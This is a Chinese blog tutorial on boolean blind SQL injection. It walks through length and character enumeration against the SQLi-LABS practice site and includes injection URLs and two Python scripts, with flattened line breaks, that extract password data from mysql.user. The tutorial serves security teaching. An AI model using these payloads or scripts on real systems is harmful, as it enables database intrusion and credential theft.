「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「专栏简介」:此文章已录入专栏《网络安全快速入门》

布尔盲注

  • 一、适用环境
  • 二、盲注步骤
  • 三、原理分析
    • 1. 长度判断原理
    • 2. 穷举字符原理
  • 四、步骤总结
    • 1. 判断注入点
    • 2. 判断长度
    • 3. 枚举字符
  • 五、盲注脚本

一、适用环境

页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。

二、盲注步骤

布尔盲注使用时分为两个步骤:

  1. 使用 length()函数 判断查询结果的长度
  2. 使用 substr()函数 截取每一个字符,并穷举出字符内容

三、原理分析

接下来,我们以测试网站(SQLi LABS 第5关)为例,解释一下这两个步骤的详细使用方式和注入的原理。

1. 长度判断原理

首先,利用MySQL的 length()函数 判断返回结果的长度是多少。

比如,我们判断 database()当前数据库 的长度,在地址栏输入:

?id=1' and length( database() )=1 -- a

执行流程如下:

页面异常(空)显示,表示猜解长度有误;

页面正常显示,表示猜解长度正确;

依次猜测1,2,3……n,直至长度猜解正确(页面正常显示)。

如上,测试长度1~7一直异常(空)显示,测试长度8时变为正常显示,就意味着查询结果的长度是8.

2. 穷举字符原理

查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126。

推荐文章:ASCLL编码详解,ASCLL编码对照表

使用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。

页面异常(空)显示,表示猜解失误;

页面正常显示,表示猜解正确;

猜解流程如下:

ASCLL编码 115 对应的字符是 ‘s’,确定第一个字符是:s

上一步已经确定了长度是 8,依次截取第 1~8个字符,并依次判断每个字符的内容。

四、步骤总结

适用情况:页面没有显示位,没有报错信息,只有成功和不成功两种情况。

1. 判断注入点

同时满足以下两种情况:

?id=1' and 1 -- a  正常显示
?id=1' and 0 -- a 异常(空)显示

2. 判断长度

?id=1' and length( 查询语句 )=1 -- a

3. 枚举字符

?id=1 and ascii(substr( 查询语句 ,1,1))=32 -- a

五、盲注脚本

手工盲注的时间复杂度非常大,通常会使用脚本盲注。

get请求盲注脚本:

import requests# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://3534c6c2bffd4225bf3409ae9a2ec278.app.mituan.zone/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length((select group_concat(user,password)from mysql.user)) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(substr((select group_concat(user,password)from mysql.user),{n},1)) = {r} -- a"""# 获取长度
def getLength(url, payload):length = 1  # 初始测试长度为1while True:response = requests.get(url= url+payload_len.format(n= length))# 页面中出现此内容则表示成功if 'You are in...........' in response.text:print('测试长度完成,长度为:', length,)return length;else:print('正在测试长度:',length)length += 1  # 测试长度递增# 获取字符
def getStr(url, payload, length):str = ''  # 初始表名/库名为空# 第一层循环,截取每一个字符for l in range(1, length+1):# 第二层循环,枚举截取字符的每一种可能性for n in range(33, 126):response = requests.get(url= url+payload_str.format(n= l, r= n))# 页面中出现此内容则表示成功if 'You are in...........' in response.text:str+= chr(n)print('第', l, '个字符猜解成功:', str)break;return str;# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

post请求盲注脚本:

import requests# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length((select group_concat(user,password) from mysql.user))>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(substr((select group_concat(user,password)from mysql.user),{l},1))={n} -- a"""# post请求参数
data= {"uname" : "a') or 1 -- a","passwd" : "1","submit" : "Submit"
}# 判断长度
def getLen(payload_len):length = 1while True:# 修改请求参数data["uname"] = payload_len.format(n = length)response = requests.post(url=url, data=data)# 出现此内容为登录成功if '../images/flag.jpg' in response.text:print('正在测试长度:', length)length += 1else:print('测试成功,长度为:', length)return length;# 枚举字符
def getStr(length):str = ''# 从第一个字符开始截取for l in range(1, length+1):# 枚举字符的每一种可能性for n in range(32, 126):data["uname"] = payload_str.format(l=l, n=n)response = requests.post(url=url, data=data)if '../images/flag.jpg' in response.text:str += chr(n)print('第', l, '个字符枚举成功:',str )breaklength = getLen(payload_len)
getStr(length)

感谢你的点赞、收藏、评论,我是三日,祝你幸福。

布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程相关推荐

  1. SQL注入分类,一看你就明白了。SQL注入点/SQL注入类型/SQL注入有几种/SQL注入点分类

    「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者 SQL注入分类 一.数值型注入 二.字符型注入 1)单引号字符型注入 2)双引 ...

  2. 报错注入是什么?一看你就明白了。报错注入原理+步骤+实战案例

    「作者主页」:士别三日wyx 「作者简介」:CSDN top100.阿里云博客专家.华为云享专家.网络安全领域优质创作者 「专栏简介」:此文章已录入专栏<网络安全快速入门> 报错注入 一. ...

  3. 《别看了,你学不会的》——Redis原理与实战(一)

    Redis 安装homebrew 我使用的是macOS操作系统,所以在安装Redis之前还需要先安装homebrew 安装命令,在终端中输入 /bin/bash -c "$(curl -fs ...

  4. 不愿意和别人打交道_不想麻烦别人,也不希望别人麻烦我,是什么心理?看完就明白...

    阅读本文前,请您先点击上面的"蓝色字体",再点击"关注",这样您就可以继续免费收到文章了.每天都有分享,完全是免费订阅,请放心关注. 注:本文转载自网络,侵删 ...

  5. 看了就会的Next.js SSR SSG实战教程

    Next.js是基于React的服务端渲染工具.在传统的React项目中,例如使用Create-React-App创建的项目,最终build生成的静态文件,是基于浏览器渲染的,即所谓的CSR(Clie ...

  6. php盲测,舌尖上的奶粉,育网鲜肉助阵盲测!

    你是否是这样的宝妈? 一走到超市奶粉货架前,看着琳琅满目的产品,无从下手.拿起一罐,从成分看到厂家,从包装看到奶源地,想尝一下口味又无从下手,万一味道不好营养不好质量不高可咋办?神烦!到底怎么挑选好奶 ...

  7. 医院计算机管理在品管圈中的应用,品管圈在医院管理中怎么用?看完就明白了...

    原标题:品管圈在医院管理中怎么用?看完就明白了 品管圈(Quality Circle,QCC),又称"质量小组",是一种企业对基层员工的自主管理.全员品管及持续改善最佳的管理活动, ...

  8. 一图看懂hadoop分布式文件存储系统HDFS工作原理

    一图看懂hadoop分布式文件存储系统HDFS工作原理 转载于:https://www.cnblogs.com/AlexQY/p/9856477.html

  9. android重置系统,安卓手机越用越卡,恢复出厂设置真有用?别瞎搞,看完就明白了!...

    安卓手机越用越卡,恢复出厂设置真有用?别瞎搞,看完就明白了! 现在手机的价格逐渐的开始上升,一部好一点的手机价格还是比较贵的,所以很多人想要节省更多的换机支出,都会想要购买到一款可以使用的比较久的手机 ...

最新文章

  1. Day 49 Nginx
  2. 面向对象上机题-迭归算法
  3. android listview 预加载动画,Android - 使用预加载的数据库填充ListView
  4. CSS入门学习笔记+案例
  5. hpux下netbackup无法认到所有磁带机
  6. markdown 数学公式符号大全
  7. 在线Base64编码加密解密还原工具
  8. edge扩展下载失败解决办法
  9. 谈谈人的视觉特性与电视的关系
  10. 最全的厚黑学...教你怎样混社会(转...作者不是一般的城府,但这就是中国真实的社交关系,深的很)
  11. 深入剖析NVMe Over Fabrics
  12. [UE4]Stat命令
  13. 英语流利说l4u1p2_L4-U1-P2-3 Vocabulary : Science 英语流利说 懂你英语
  14. Mysql数据库部分简单整理
  15. 桌面只能进入计算机,Win7电脑开机无法正常启动只能进入安全模式怎么解决
  16. ubuntu 找不到libGL.so.1
  17. 前端页面结构简单介绍
  18. element form表单validateField对部分表单字段进行校验时触发多次校验
  19. STM32之RTC时钟
  20. Python蓝桥杯基础之星期一

热门文章

  1. 牛客多校第五场 G subsequence 1 最长公共子序列/组合数
  2. 【算法笔记】B1058 选择题
  3. 应用程序正在为首次使用计算机做准备
  4. day10作用域与闭包
  5. (转)阿里云CentOS 7下配置及使用mysql
  6. UltraEdit UE如何设置自动换行
  7. 输入url到页面返回的过程
  8. Mysql中show命令详解
  9. C#中IQueryable和IEnumberable的区别
  10. 推荐:PHPCMS v9 安全防范教程!